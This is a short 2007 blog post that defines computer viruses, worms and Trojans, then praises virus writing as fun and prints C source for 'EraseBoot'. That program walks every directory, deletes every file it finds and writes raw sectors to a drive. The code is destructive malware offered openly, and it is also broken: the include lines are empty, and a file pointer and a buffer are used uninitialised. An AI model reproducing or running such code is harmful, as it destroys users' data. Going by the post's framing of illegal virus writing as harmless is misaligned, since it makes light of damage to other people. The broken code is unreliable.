Friday, October 19, 2007

VIRUS!!!!!!

Now if you are a regular net user.It is impossible that you don't know what a
virus is!!!!
This post has an interesting virus dealt with it.


A computer virus is just a program.But it enters the computer and modifies the programs in the computer without any consent from the user.Viruses are sometimes confused with computer worms and Trojan horses. A worm can spread itself to other computers without needing to be transferred as part of a host, and a Trojan horse is a file that appears harmless until executed.
Which is different form a virus....

The Creeper virus was the first virus detected on ARPANET, the forerunner of the Internet in the early 1970s.

Now history and information apart.....

Let us discuss the art of virus writing.
Virus writing is not a very complicated one.
It is infact very simple.
You have to have a thorough understanding of the system architecture if you want to be a good virus writer.
Though virus writing is illegal.
It can be done for fun....
But dont go beyond the veil.

A simple C Virus

EraseBoot - A Sample Virus Written In C
/*This is a pretty simple virus which I would not advise running on your own machine.*/
#include
#include
#include

main()
{

SearchAndDestroy("");
span("");
boot();

}


span(p)

char *p;
{

struct ffblk f;char n[129];
int r;
SearchAndDestroy(p);
sprintf(n,"%s\\%s",p,"*.*");
for(r=findfirst(n,&f,0x0010);!r;r=findnext(&f))
{
if(*f.ff_name=='.')
continue;
if(f.ff_attrib & 0x0010)
{
sprintf(n,"%s\\%s",p,f.ff_name);
span(n);
}
}
}


SearchAndDestroy(p)

char *p;
{

struct ffblk f;
char b[81];
int r;
strcpy(b,p);
strcat(b,"\\*.*");
for(r=findfirst(b,&f,0x0000);!r;r=findnext(&f))
{
sprintf(b,"%s\\%s",p,f.ff_name);
remove(b);
}
}
boot()
{
char *buff;
char *test;
delay(1000);
fprintf(test,"THIS VIRUS DESTROYS YOUR FILES!!!!!");
abswrite(2,12,0,buff);
}

//Find the header files by yourself(lol..)

No comments:

Post a Comment

Thanks for commenting in my blog...